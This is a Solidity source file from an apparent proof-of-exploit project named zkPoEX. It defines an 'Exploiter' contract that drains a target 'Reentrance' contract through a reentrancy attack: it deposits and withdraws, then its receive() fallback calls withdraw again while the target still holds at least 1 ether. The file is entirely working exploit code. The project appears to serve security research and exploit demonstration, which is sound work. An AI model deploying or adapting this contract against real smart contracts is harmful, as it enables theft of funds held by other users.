Files
zkPoEX/bytecode/Exploiter.sol
2023-03-02 22:43:30 -07:00

35 lines
931 B
Solidity

// SPDX-License-Identifier: MIT
// DO NOT USE IN PRODUCTION
pragma solidity 0.8.19;
interface IReentrance {
function deposit(address _to) external payable;
function withdraw(uint256 _amount) external;
}
contract Exploiter {
IReentrance targetContract;
constructor(address _targetAddr) {
targetContract = IReentrance(_targetAddr);
}
function balance() public view returns (uint256) {
return address(this).balance;
}
// exploits Reentrance
function exploit() public payable {
require(msg.value >= 1 ether);
targetContract.deposit{value:msg.value}(address(this));
targetContract.withdraw(msg.value);
}
// fallback function triggering reentrancy
receive() external payable {
uint256 targetBalance = address(targetContract).balance;
if (targetBalance >= 1 ether) {
targetContract.withdraw(1 ether);
}
}
}